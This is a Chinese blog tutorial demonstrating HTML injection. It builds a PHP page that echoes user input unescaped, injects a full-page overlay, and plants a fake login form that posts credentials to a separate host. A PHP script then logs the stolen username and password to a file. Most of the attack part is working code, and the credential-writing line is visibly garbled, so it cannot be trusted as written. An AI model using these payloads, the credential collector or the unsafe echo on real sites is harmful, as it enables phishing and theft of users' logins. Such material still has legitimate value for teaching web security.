超文本标记语言(HTML)注入有时也被称为虚拟污染。 这实际上是一个由站点造成的攻击,该站点允许恶意用户向其 Web 页面注入 HTML,并且没有合理处理用户输入。 换句话说,HTML 注入漏洞是由接收 HTML 引起的,通过一些表单输入后会呈现在页面。
由于 HTML 是用于定义网页结构的语言,如果攻击者可以注入 HTML,它们基本上可以改变浏览器呈现的内容。 有时,这可能会导致页面外观的完全改变,恶意用户会通过注入覆盖掉之前的界面,展现出精心构造的页面,引导用户输入敏感信息,达到钓鱼的目的。
1.写一个简单的html注入页面(一个要求输入姓名的表单)
<html>
<head><title>HTML注入</title><meta char-set="utf-8">
</head>
<body>
<form action="" method="get">
姓名:<input type="text" name="html">
<input type="submit" value="提交">
</form>
<?php
if(@$_GET['html']){echo($_GET{'html'});
}
?>
</body>
访问页面如下:
2.验证漏洞,输入<h1>hack 66<h1>
,发现页面成功显示输入内容。
3.创建恶意表单,达到页面覆盖目的,下面代码会覆盖也当前页面,如下图
<table style="left:0px;top:0px;position:fixed:z-index:5000;position:absolute;width:100%;
height:300%;background-color:black;">
<tbody>
<tr>
<td style="color:#FFFFFF;z-index:6000;vertical-align:top;">
<h1>You were hacked</h1>
</td>
</tr>
</tbody>
</table>
4.构造恶意界面覆盖当前界面,诱导用户输入用户名、密码达到钓鱼目的。(本人简单构造,只是为了达到效果)
输入如下代码:
<table style="left:0px;top:0px;position:fixed;z-index:5000;position:absolute;width:100%
;background-color:white">
<tr>
<td>
<form action="192.168.47.130/html/login.php" method="POST">uname:<input type="text" name="name">
<br>passwd:<input type="password" name="pwd">
<br><input type="submit" value="登录">
</form>
</td>
</tr>
</table>
覆盖之前页面,显示登陆页面。
4.为实现钓鱼,需要实现接收用户名和密码。代码如下,创建接受传入的用户名和密码。
<?php
header("Content-type:text/html;charset=utf-8");
if(file_put_contents(",'uname: '.$_POST['name'].' password:'.$_POST['pwd'],FILE_APPEND)){echo"登录成功";}
?>
5,实现效果展示:
输入代码,覆盖之前页面展示恶意页面,输入admin/admin,点击登录
6.查看发现已获得用户名以及密码。
本文发布于:2024-02-03 05:56:52,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/170691101149096.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |